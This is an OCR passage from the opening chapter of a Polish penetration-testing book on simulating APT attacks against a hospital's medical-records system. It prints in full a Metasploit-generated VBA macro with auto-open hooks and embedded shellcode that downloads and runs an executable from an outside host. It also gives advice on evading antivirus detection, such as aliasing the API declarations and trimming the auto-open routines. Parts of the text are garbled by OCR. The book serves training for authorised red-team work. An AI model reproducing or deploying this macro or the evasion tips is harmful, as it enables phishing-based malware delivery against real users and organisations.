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(Nie)bezpieczna
dokumentacja medyczna

W pierwszym rozdziale pokaze Ci, jak za pomocg najprostszego typu ataku mozna zdoby¢ nawet
najlepiej strzezone dane. Mygle, Ze to idealny temat na poczatek, zwlaszcza ze bezpieczenstwo do-
kumentacji medycznej od dawna spedza sen z powiek dyrektorom szpitali.

PRZYPADEK KANE’A

Grozba kradziezy albo zmiany dokumentacji medycznej krazyta nad stuzba zdrowa na dtugo
przed tym, nim pewien Holender znany jako ,Kane” w 2000 r. wiamat sie do centrum
medycznego Uniwersytetu Waszyngtonskiego. Kiedy doszto do ataku, podjeto pewne
kroki, ktore utwierdzity wtadze szpitala w przekonaniu, ze zagrozenie zostato zazegnane.
Jakiez byto ich zdziwienie, kiedy po6t roku pdzniej Kane przekazat zdobyte informacje
dziennikarzowi z czasopisma ,,Security Focus” Kevinowi Poulsenowi, a ten opisat przebieg
ataku i jego skutki w artykule. Zdarzenie szybko zyskato globalny rozgtos. Kane zdotat
utrzymac obecnosc¢ w sieciach centrum medycznego, pozwalajgc mysleé swojej ofierze, ze
zostat z nich skutecznie usuniety. W tym celu dopuscit sie drobnego oszustwa polegajgce-
go na wstawieniu na kilka serweréw tatwego do wykrycia trojana BO2K (narzedzia opra-
cowanego przez grupe o nazwie Cult of the Dead Cow, ktdora byta popularna na przetomie
wiekéw), podczas gdy jego infrastruktura dowodzenia i kontroli byta nieco bardziej dys-
kretna. Wiele informacji na temat tego zdarzenia mozna znalez¢ w internecie. Zachecam do
zapoznania sie z tym przypadkiem, poniewaz stanowi on doskonaty przyktad pierwszych

29
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nowoczesnych atakow APT oraz wrecz podrecznikowy przyktad tego, jak nie postepowac
w przypadku wykrycia intruza — zaréwno pod wzgledem postepowania wewnetrznego,
jak i ujawniania informacji publicznie.

Wspomniany artykut mozna przeczyta¢ na stronie http;//www.securityfocus.com/news/122.

Symulowanie atakow APT — wprowadzenie

Modelowanie atakéw APT to specyficzna galaz testowania penetracyjnego, ktére zazwyczaj kon-
centruje si¢ na atakowaniu uzytkownikéw koncowych w celu uzyskania wstepnego dostgpu do sieci
zamiast atakowania zewnetrznych systemow;, jak aplikacje sieciowe czy widoczne w internecie elementy
infrastruktury sieciowej. W ramach ¢wiczen taki test zwykle wykonuje si¢ na dwa sposoby — pre-
wencyjnie, tzn. jako czes¢ testu penetracyjnego, oraz ,,post mortem”, czyli jako uzupelnienie proceséw
analizy po ataku w celu dowiedzenia sie, jak doszlo do wltamania. Zdecydowanie czedciej spotyka si¢
pierwszy z tych przypadkéw. Wyrédznia sie krotkoterminowe symulacje atakéw APT, ktére moga
trwac¢ do dwdch tygodni, i dlugoterminowe, ktére moga trwaé znacznie dluzej, a optata jest pobie-
rana za jedng godzine dziennie przez kilka miesiecy. Opinie co do tego, ktdre z podejs¢ jest sku-
teczniejsze, s podzielone (i oczywiscie wiele zalezy od celu ataku). Z jednej strony diuzszy test po-
zwala lepiej nasladowa¢ prawdziwy atak, z drugiej strony jednak klienci zwykle zZadaja regularnego

wprowadzania poprawek podczas wykonywania testu, a takie ciggle rzucanie kléd pod nogi prze-
czy idei wykonywania testu. W ksigzce opisuje rézne podejécia do tej kwestii.

Kontekst i podstawowe informacje o misji

Londynski szpital padl ofiarg wltamania nieznanych sprawcow. Tyle tylko wiedzialem, kiedy przy-
bytem do murowanego z czerwonej cegly kampusu w celu oméwienia przypadku i przekazania zalecent
co do dalszego postepowania. Po wymianie tradycyjnych uprzejmosci i wypiciu typowego w czasie
takich spotkan kubka kawy z automatu przeszliémy do sedna. Nasza gospodyni tajemniczo stwier-
dzila, ze ,w rejestrze lekéw wydawanych na recepte znaleziono nieprawidtowosci”. Nie bardzo
wiedzialem, co o tym mysle¢, wigc powiedziatem: ,,Moze to robota siostry Jackie?”. W zamian zosta-
fem obdarzony spojrzeniem w stylu ,, To nie jest zabawne, a ja nie ogladam gtupich seriali”. Méwita
dalej: ,,OdkryliSmy w naszej bazie danych fatszywe pliki dokumentacji medycznej, na podstawie
ktorych ktos pobierat leki kontrolowane”.

No tak. To rzeczywiscie jest nieprawidlowos¢.

Potem dokladniej omoéwilismy atak i budowe systemu przechowywania dokumentacji medycznej
— jego zalety i wady. Wéweczas stalo sie jasne, ze ataki mialy miejsce po przenoszeniu danych do
chmury. Szpital korzystal z gotowego rozwigzania firmy o nazwie Pharmattix. Wdrazalo je wiele
szpitali w calym kraju, poniewaz miato utatwia¢ $wiadczenie ustug opieki zdrowotnej w optacalnym
modelu subskrypcyjnym.
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Infrastruktura Pharmattix
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Rysunek 1.1. Schemat sieci Pharmattix

System rozrézniat cztery rodzaje uzytkownikow (rysunek 1.2):
= Jekarzy wypisujacych recepty na leki,
= apteki wydajace leki,
= pacjentéw,

= zaplecze administracyjne zajmujace sie ré6znymi kwestiami.

Zawsze dobrze jest porozmawiaé z samym producentem oprogramowania, ktory najlepiej wie,
jakie funkcje ma interesujacy nas program.

Moim zadaniem jako pentestera bedzie wlamanie si¢ do systemu przechowywania dokumentacji
medycznej szpitala przez przeprowadzenie ataku skierowanego przeciw jednemu z pracownikéw.
Dobrym wyborem wydaja si¢ lekarze, poniewaz ich rola w systemie pozwala im na dodawanie pa-
cjentdw i przepisywanie lekdw, czyli dokladnie to, czego nam potrzeba. Z przytoczonej ulotki wiemy,
ze system integruje si¢ z pakietem MS Office, a zwazywszy na otwarty charakter srodowiska, ktdre
zamierzamy zaatakowa¢, mozna stwierdzi¢, ze to doskonaty punkt zaczepienia.
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Rysunek 1.2. Role uzytkownikéw

MATERIALY MARKETINGOWE FIRMY PHARMATTIX

Zoptymalizujemy dostepnosc i efektywnos¢ Twojej praktyki.

Stworzymy dla Ciebie profesjonalng strone internetowq z informacjami medycznymi i roz-
nymi formularzami, za pomocg ktérych pacjenci beda mogli korzysta¢ z dodatkowych
ustug bez ponoszenia wysokich optat. Zapewnimy kompletny system przechowywania
dokumentacji medycznej o takiej samej funkcjonalnosci, jaka ma ten, ktérego obecnie
uzywasz, oraz mozemy do niego importowac Twoje dokumenty wiele razy w ciggu dnia ro-
boczego.

Dzieki naszemu kompleksowemu rozwigzaniu kazdy lekarz bez problemu sam poradzi sobie
z obstuga swojej strony internetowej. Za posrednictwem swojej strony w rozwigzaniu Phar-
mattix Doctor Online mozesz przekazywac informacje dla pacjentéw oraz $wiadczy¢ dodat-
kowe ustugi, jednoczes$nie oszczedzajac czas.

Prowadzenie praktyki i obstuga pacjentéw moze by¢ tatwa dzieki e-konsultacjom i bezpro-
blemowej integracji naszego rozwigzania z systemem obstugi szpitala!

Funkcje strony internetowej:

B Wiasny panel sterowania e Indywidualne strony zespotéw, umawianie wizyt itd. e
Godziny przyjec e Ulotki i listy NHG dla pacjentow e Integracja z pakietem MS Office o
Informacja medyczna e Informacje dla pasazerow i na temat szczepionek ® Rézne
formularze (rejestracji, ponawiania recept, zadawania pytan) e E-konsultacje e
Kalendarz internetowy e Odnosnik do strony systemu informacji dla lekarzy ogélnych e
Darmowa pomoc techniczna.
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B E-konsultacje i integracja z systemem obstugi szpitala: chcesz bezpiecznie kontaktowacé
sie ze swoimi pacjentami? Nasz system e-konsultacji Ci to umozliwi. Zwiekszysz
dostepnos¢ swoich ustug, nie tracac nad niczym kontroli. Ponadto mozesz potaczyc
system zarzadzania szpitalem ze strong swojej praktyki, aby umozliwi¢ pacjentom
umawianie sie na wizyty przez internet i wysytanie présb o ponowienie recept.

A to wszystko bez potrzeby angazowania asystenta!

Jesli chcesz dowiedzie¢ sie wiecej, skontaktuj sie z nami!

KIEDY BRUCE SCHNEIER COS MOWI, TO LEPIEJ GO SLUCHAC

,2Uwierzytelnianie dwuetapowe to nie panaceum. Nie chroni na przyktad przed phishin-
giem, kradziezg tozsamosci ani nie zabezpiecza internetowych kont przed fatszywymi
transakcjami. Rozwigzuje problemy dotyczace bezpieczeristwa sprzed dziesieciu lat, nie
dzisiejsze”.

Bruce Schneier

Wszystkie typy uzytkownikéw podlegaly uwierzytelnianiu dwuetapowemu, czyli oprécz nazwy
uzytkownika lub hasta pracownik szpitala musiat jeszcze mie¢ karte dostepu. Ponadto podczas lo-
gowania pacjenci otrzymywali jednorazowe hasta w wiadomosciach SMS lub e-mail.

W kazdym rozdziale opisuje nowe sposoby przesylania szkodliwego kodu do atakowanego syste-
mu oraz wskazuje potencjalne mozliwoéci rozbudowy systemu dowodzenia i kontroli. Pierwsza
z technik wysylania szkodliwego tadunku, ktora pragne sie z Tobg podzieli¢, jest zarazem jedng z naj-
starszych i najskuteczniejszych.

Wysytanie fadunku, czesé I:
jak postugiwac sie makrami VBA

VBA (Visual Basic for Applications) to podzbiér nalezacego do Microsoftu jezyka programowania
o nazwie Visual Basic. Jest przeznaczony do wykonywania tylko w programach Microsoft Word
i Excel i stuzy do automatyzacji powtarzalnych czynnosci oraz tworzenia niestandardowych polecen
i przyciskow na pasku narzedzi. Cho¢ jezyk ten jest bardzo prosty, za jego pomoca mozna importowacé
liczne biblioteki zewnetrzne, w tym caly interfejs API Windows. Z tego wzgledu mozna go uzywaé
do znacznie powazniejszych celow niz tylko obstuga arkuszy kalkulacyjnych czy zarzadzanie listami
mailingowymi.

Makra VBA majg bogata tradycje, jesli chodzi o przesytanie szkodliwego oprogramowania, ale
to nie znaczy, ze dzi$ technika ta jest cho¢by odrobine mniej skuteczna, niz byta kiedys. Wrecz prze-
ciwnie, w najnowszych wersjach pakietu Microsoft Office (od wersji 2010) aplikacje domysélnie w Za-
den sposéb nie rozrézniaja kodu podpisanego i niepodpisanego. Sa ku temu dwa powody. Po pierwsze
podpisywanie kodu jest tak samo skuteczne w ochronie przed szkodliwymi programami jak rytualne
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tanice w sprowadzaniu deszczu. A po drugie firmie Microsoft znudzilo si¢ ciagte przestrzeganie lu-
dzi przed uzywaniem swoich marnie zabezpieczonych technologii skryptowych.

Teraz pokaze Ci przykladowy program posredni, ktéry bedzie uruchamial szkodliwy kod w chwili,
gdy obrany na cel uzytkownik otworzy spreparowany dokument Worda lub Excela. Jest wiele mozli-
wosci, ale zaczne od pokazania przykladowego kodu wygenerowanego przez narzedzie msfvenom
z systemu Metasploit, poniewaz stanowi on doskonaly przyklad, jak nie nalezy tego robic.

Jak NIE rozpoczyna¢ ataku z uzyciem VBA

Narzedzie msfvenom stuzy do tworzenia zakodowanych tadunkéw lub shellcode’éw dziatajacych na
szerokim spektrum platform — zwykle s3 to wlasne agenty Metasploita, cho¢ istnieje mozliwo$¢
wspolpracy z obcym kodem, na przyklad istniejagcymi juz plikami wykonawczymi trojanéw itp. Do
handleréw Metasploita jeszcze wrdce i omowie ich zalety i wady, ale na razie nie bede wdawat si¢
w szczegbly. Za pomocg modutu msfvenom mozna przygotowac tadunek w postaci dziesietnie zakodo-
wanego shellcode’u w skrypcie VBA, ktéry mozna wprowadzi¢ bezposrednio do dokumentu Microsoft
Office (listing 1.1). Ponizsze polecenie tworzy skrypt VBA, ktéry pobiera spod okre§lonego adresu
URL wykonywalny plik Windows i go wykonuje.

Listing 1.1. Makro VBA wygenerowane przez narzedzie

root@wil:~# msfvenom -p windows/download_exec -f vba -e shikata-ga-nai -i 5 -a x86 --platform
Windows EXE=c:\temp\payload.exe URL=http://www.wherever.com
Payload size: 429 bytes

#If Vba7 Then

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As
Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As
LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal
Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr

Private Declare PtrSafe Function Rt1MoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRef
Und As Any, ByVal Issacgbu As Long) As LongPtr

#Else

Private Declare Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long,
ByVal Kyfde As Long, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom As
Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As Long

Private Declare Function Rt1MoveMemory Lib "kernel32" (ByVal Kojhgx As Long, ByRef Und As Any,
ByVal Issacgbu As Long) As Long

#EndIf

Sub Auto_Open()

Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long
#If Vba7 Then

Dim Qgsztm As LongPtr, Svfb As LongPtr

#Else

Dim Qgsztm As Long, Svfb As Long

#EndIf
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Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255, 255, _
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
98,111,98,46,99,111,109,0)

Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffh1tx = LBound(Wizksxyu) To UBound(Wizksxyu)
Hdhskh = Wizksxyu(Rxnffh1tx)

Svfb = Rt1MoveMemory(Qgsztm + Rxnffhltx, Hdhskh, 1)

Next Rxnffhltx

Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)

End Sub

Sub AutoOpen()
Auto_Open
End Sub

Sub Workbook_Open ()
Auto_Open
End Sub

Kod zostal dokladnie zaciemniony przez narzedzie (nazwy funkeji i zmiennych zostaly losowo
wygenerowane), a sam shellcode dodatkowo jest zakodowany przez kilka iteracji algorytmu shikata-
-ga-nai. Niemniej jednak kontakt tego kodu z jakimkolwiek systemem wykrywania szkodliwych
programéw lub programem antywirusowym spowoduje wlaczenie sie wszystkich mozliwych alarméw.
W ramach demonstracji zaimportujemy ten kod do dokumentu Worda, aby pokaza¢, jak tatwo zo-
stanie wykryty (rysunek 1.3).

Zapisz ten plik w formacie DOC z makrami, jak pokazano na rysunku 1.4.

Jesli wyslemy ten dokument do zbiorowego serwisu skanowania wiruséw www.virustotal.com,
to bedziemy mogli dowiedzie¢ sie, jak zostanie potraktowany w 54 réznych bazach danych szko-
dliwego oprogramowania — rysunek 1.5.
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Rozdziat
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=] [hoo_open

#1f VEAT Then
Private Declate

Declare

Declare

Declare

Fresafe Tunctics CoeateThresd L
Fresafe Functios VirtsalAllce Lil

“kernelll® (Byval 2d2 Aa

"kermell2” (Byval Bfihigys As Lo
Priafe Function RtiMcveMemory Lib “kernell2® (Myval Koibgx As Lomg

Tinaw As Long. ByVal Kyfde As Losgfis. Spiyds As Long. Byval Foxhytlle As 1
y7al Terucm As Long, Byval Rirbwy As Leng, Byval Dedtyeky As Lengl As Leng)
» ByRef Und As Azy. DyVal Issacgbu Aa Longl As LongPir

Leng, ByVa

Function CreateThresd Lib “ikernelii* (SyVal Zdz As Long, Byval Tinsv As Long,

Byval Nyfde As Long, Spjyir As long, By¥al Fcxhytlle As Long, Coupmc

b

=5,
a6,
255,
232, 172, 285, 258, %8, 4, 238,

Declare Penctios Virtual
Declare Function RrlMoveMemory Lib kernelil®

los Lib "kerneldl® (Byval REIRigyw As Loog, Byval Seruce As Lom

Bata_cpeni)|

Dim Mdhakh As Long, Wizksxys As Verisst, Renffhlitx As Long
VEAT 1
Dim Qgattm As LongPer, wfb As LongPtr

elze

Uim ggsztm As Long, Svib As Long
1t

8, 8, 96, 137, 22%, 45, 210, 109, 133, 82,
» 30, 49, 235, 4%, 183, 172, €. ¥, 130,
2, 87, 139, 81, 14, 139, &6, 60, 1, 204, 139,
139, BN, 32, 1, 211, 237, 60, 73, 1IN, 53, i
207, 13, 1, 199, 86, 224, 117, 4, 3, 125, 48, 59,7128, _
213, 102, 136, 12, 75, 136, MR, 30, 1, 215, 106, 4,
1 1, 355, 24, 55, 90, 139, 18,
105, 137, 230, 84, 104, 76,
121, 167, 255, 213, 235, 06, 81,

. 36,
68, 36, 16, ¥
o4, 110, 101, 114, 0, 104,
355, €7, 07, W7, W1, 66,

31, §7, 89, §

106, 3, 81, B1, 106, #0, 83, 80, 104, &7, 137, 1%3, 186, 235, 213, 235, _
a B3, 104, 0, 50, 96, 133, 82, B2, B2, A1, B3, 8D, 104, 235, 05, 44,
255, 213, 137, 154, 106, 16, 31, 104, 128, 51, o 137, 220, 106, 4. 80, 106, 31,

238, 87, 87, 47, €9, €, 104, 45, 6, 2a, 123, T

113, 0, 0, 0, 235, 20%, 233, 13, O, O, O, _

152, 53, 80, 104, 2, 106, 2, 80, 106, 2, 106, _

147, 49, 192, 103, 1M, 4, 3, 41, 106, M, 141

18, 150, 137, 226, 255, 213, 133, 182, 116 _

1, 68, 36, 13, 80, 83, 104, 45, 67, 174, _

198, 150, 135, &2, 255, 213, 1 0. 87, 104,
181, 162, 86, 235, 213, 232. 144, 255, 235, 238, _
0. 232, 19, 385, 235, 255. 11%, 1%, 1%, A6 _

1, 117, 70, 158, 134, 5%, 113, 48,
213, 133, 182, 117, 20, 75, 15. 1,
167, 48,
218, 46, 21N, TR, 355, A1),
4%, 152, 180, 3. 80, 81, B, 104,
&8, 133, 1 80
355, 213,
139, 111, 138,
50, 100, #7, 11
11, 9, 48, 95,

238, 213, 104, 0, 10
01, 44, 101, 1230, 101,
11, 109, O

Qeerts = Vircealhlloc(D, Usund(Wirksxyu), SE1000, SHADH
ttw = To

. Byval Rlzbwy As Long, Byval Dedtyeky As Long) As Leng
(Byval Kaikgu Az Long, ByRef Und As Any, ByVal Issacgbu s Long) Az Long

48, 138, 82, 12, 13%, 82, 2, _
, 183, 207, _

Rysunek 1.3. Exploit VBA zaimportowany do programu MS Word

%U|@ » Biblioteki » Dokumenty » - | +p ‘ | Przeszukaj: Dokumenty R |
Organizuj = MNowy folder > e
Pulpit SErs
W8 Pupi Biblioteka Dokumenty 0
¥ Dropbox Zawiera: Lokalizagji — 2 e
& OneDrive ,
(® SyncDrive Nazwa Data modyfikacji Typ Rozmiar
’P Syncplicity | Daemon Tools Images 2017-07-24 12:15 Folder plikdw =
. Hisuite 2017-08-06 17:59 Folder plikow
:3 Biblioteki | TISExpress 2017-08-04 23:27 Folder plikow
L Dokumenty L. My Web Sites 2017-08-04 23:27 Folder plikow
5._&, Muzyka ] | Niestandardowe szablony pakietu Office 2017-07-24 16:09 Folder plikow L
Nazwa pliku: | GVRETN v!
Zapisz jako typ: [Dokument programu Word z wiaczong obslugg makr (*.docm) 'l
Autorzy: Wil Allsopp Tagi: Dodaj tag Tytut Dodaj tytut
Zapisz miniaturg
- Ukryj foldery Narzedzia ~ Zapisz l l Anuluj

Rysunek 1.4. Zapisywanie pliku z wirusem
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Detection ratio:

Analysis date:

Antivirus

Ad-Aware
Arcabit

Avast

Avira
BitDefender
CAT-QuickHeal
Cyren

DrWeb
ESET-NOD32
Emsisoft
F-Prot
F-Secure
Fortinet
GData

Ikarus

McAfee

48 /54

2016-02-17 10:51:49 UTC (1 minute ago )

= Analysis @, File detail O Additional information ® Comments

Result

W97M.ShellCode.A
WO7M.ShellCode.A
W97M.ShellCode.A

MWa7:Dropper-P

HEUR/Macro.Downloader

W97M.ShellCode.A
0897M.Donoff.B
PP87M/ShellCode.A.gen
WO7M.DownlLoader.631
VBA/Kryptik.C
W87M.ShellCode.A (B)
PP97M/ShellCode.A.gen
W87M.ShellCode.A
WM/Agentltr
W87M.ShellCode.A
Trojan.VBA.Crypt

X97M/Downloader.|

) Votes

Rysunek 1.5. Niedopuszczalnie wysoka wykrywalno$¢ przez programy antywirusowe

Z 54 programé6w anywirusowych az 48 wykrylo nasz kod? Niedobrze.

Ponadto serwis VirusTotal przedstawia pewne dodatkowe informacje pozwalajace zorientowaé

sie, w jaki sposob osiagnigto taki, a nie inny wynik — rysunek 1.6.

W sekgji Tags (znaczniki) wskazane sg najwicksze zagrozenia: auto-open (automatyczne otwie-

ranie) i code injection (wstrzykiwanie kodu). Teraz przeanalizujemy ten nasz kod VBA po kawatku
i poszukamy sposobéw na zmniejszenie jego wykrywalnosci. Jesli z gory wiadomo, jaki program
antywirusowy dziala w docelowym systemie, to bardzo dobrze, ale i tak zawsze nalezy stara¢ sig¢
osiggna¢ zerowa wykrywalnosé.
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(@ Analysis @, File detall © Additional information # Comments ) \otes

© File identification

MDS 65d3d050940004906b3da52f6ac2a2514

SHA1 4ddB42448105a5e47589a51 0abBffB2e5188b30b

SHA256 60754eb291974874b3212d6dfdefc21fe1223715a123a044def05ae775ac5b8a

ssdeep 768:fcd9PXPfDz4S2GM5cbiN{JeillXaBVxb1 7UXL+V1 TLbdighmUP215bEjF2Ynh39:fAR
wB1TLbU4pgF2w3zD9

File size 53.0 KB ( 54242 bytes )

File type Office Open XML Document

Magic literal Zip archive data, at least v2.0 to extract

TriD Word Microsoft Office Open XML Format document (with Macro) (59.4%)
Word Microsoft Office Open XML Format document (36.0%)
ZIP compressed archive (4.5%)

Tags  docx | auto-open | exe-pattern | macros | run-ail | environ § run-ie

Rysunek 1.6. Dodatkowe informacje

Analiza kodu VBA

W sekeji deklaracji funkcji zaimportowane zostaly trzy funkcje z pliku kernel32.dll. Za ich pomoca
tworzony jest watek procesu, alokowana jest pamie¢ dla shellcode’u i wstawiany jest do niej shellcode.
Logicznie myslac, nie ma zadnego powodu, aby w makrze dziatajacym w procesorze tekstu albo ar-
kuszu kalkulacyjnym wykonywac¢ takie czynnosci. Dlatego tez sama obecno$¢ tych funkeji (ktore sg
potrzebne do zainstalowania shellcode’u) jest juz wystarczajaca, aby systemy wykrywania szkodliwych
programéw podniosly raban.
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As
Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal
Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRef
Und As Any, ByVal Issacgbu As Long) As LongPtr

Jednak wiele skaneréw antywirusowych nie sprawdza sekcji deklaracji, a jedynie gtéwna tres¢
zrodtowa, w zwigzku z czym zaimportowana funkcje mozna ukry¢ za aliasem, na przyklad:

Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz As
Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long,
Coupxdxe As Long) As LongPtr

Potem w gtéwnej czgéci kodu Zrédlowego mozna juz postugiwac sie tylko aliasem. W ten sposéb
mozna wywie$¢ w pole wiele antywiruséw, w tym Microsoft Endpoint Protection.
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Unikaj shellcode’u
Shellcode ulatwia przeprowadzenie ataku, ale jest bardzo tatwy do wykrycia.

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
98,111,98,46,99,111,109,0)

Mozna zastosowa¢ wiele iteracji kodowania, aby uniemozliwi¢ wykrycie tadunku przez antywi-
rusy — i to ma szans¢ powodzenia. Problem jednak w tym, Ze nadal od razu wida¢, ze to shellcode.
Tablica bajtéw (mimo Ze zakodowana w formacie dziesietnym, a nie bardziej typowym szesnastko-
wym) jest podejrzana dla kazdego programu antywirusowego i prawie na pewno spowoduje wszczecie
alarmu. Ponadto nowoczesne antywirusy potrafig przekazywa¢ skompilowany kod (w tym takze
shellcode) do wirtualnych mikromaszyn w celu poddania go testom heurystycznym. Wéwczas sposob
kodowania nie ma znaczenia, poniewaz antywirus po prostu sprawdzi, co dany kod robi. Dla na-
rzedzia msfvenom przygotowywanie atakéw w ten sposdb ma sens, poniewaz umozliwia zastosowa-
nie wielu tadunkéw w jednym skrypcie VBA, ale do powaznych zastosowan w atakach APT takie
co$ kompletnie si¢ nie nadaje. Ewentualnie tablice t¢ mozna zakodowa¢ na kilka sposobéw (na przy-
ktad w postaci tancucha Base64), po czym odtworzy¢ ja w czasie wykonywania programu, ale ten za-
bieg réwniez nie redukuje liczby wykry¢ na tyle znaczaco, aby warto bylto zaprzataé sobie tym glowe.

Nastepny blok kodu zawiera wywolania omawianych funkgji:

Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)

For Rxnffh1tx = LBound(Wizksxyu) To UBound(Wizksxyu)
Hdhskh = Wizksxyu(Rxnffhltx)
Svfb = Rt1MoveMemory(Qgsztm + Rxnffhltx, Hdhskh,

Next Rxnffhltx
Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)

Nie ma co si¢ nad tym rozwodzi¢. Wystarczy tylko powiedzie¢, ze funkcje VirtualAlloc, Rt1Move
>Memory i CreateThread zawsze s3 podejrzane i zaalarmujg kazdy program antywirusowy bez
wzgledu na to, jak nieszkodliwa jest pozostata czes¢ naszego kodu. Zostana oznaczone jako grozne,
nawet jesli nie bedzie im towarzyszyl zaden shellcode.
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Automatyczne wykonywanie kodu

Na koniec chciatbym jeszcze odnie$¢ sie do tego, jak niefrasobliwie niektérzy wykorzystuja funkcje
automatycznego otwierania. Jest to funkcja, ktéra powoduje wykonanie makra natychmiast po
tym, jak uzytkownik zgodzi si¢ na wlaczenie tej tre$ci. Mozna to zrobi¢ na trzy sposoby w zalezno-
éci od tego, czy makro dziata w dokumencie Worda, arkuszu kalkulacyjnym Excela, czy skoroszycie
Excela. W przedstawionym kodzie zostaly uzyte wszystkie trzy metody, aby zapewni¢ jego wykona-
nie niezaleznie od tego, do jakiej aplikacji zostanie wklejony. Ale takie dzialanie réwniez nie ma
zadnego uzasadnienia z perspektywy legalnego programu. Twoérca makra powinien wiedzie¢, dla
jakiego $rodowiska tworzy skrypt.

Domyélna podprocedura jest wywolywana przez Worda i zawiera nasz fadunek:

Sub Auto_Open

Gtowny blok kodu
End Sub

Dwie pozostale funkcje wywoluje Excel, a ich jedynym zadaniem jest wywotlanie funkcji Auto_Open
Worda.

Sub AutoOpen()
Auto_Open
End Sub

Sub Workbook Open()
Auto_Open
End Sub

Juz jedna procedura automatycznego otwierania budzi podejrzenia, a co dopiero méwic o trzech.
Wystarczy wigc usungé¢ dwa ostatnie wywolania funkcji Worda, aby obnizy¢ wykrywalno$¢ przez
programy antywirusowe. Pozbycie si¢ trzeciej daje jeszcze lepszy rezultat.

W VBA dostepne sg macierzyste funkcje, za pomocg ktérych napastnik moze pobra¢ i wykona¢
kod z internetu (na przyktad Shell i URLDownLoadToFile), ale z ich uzyciem wigzg si¢ takie same
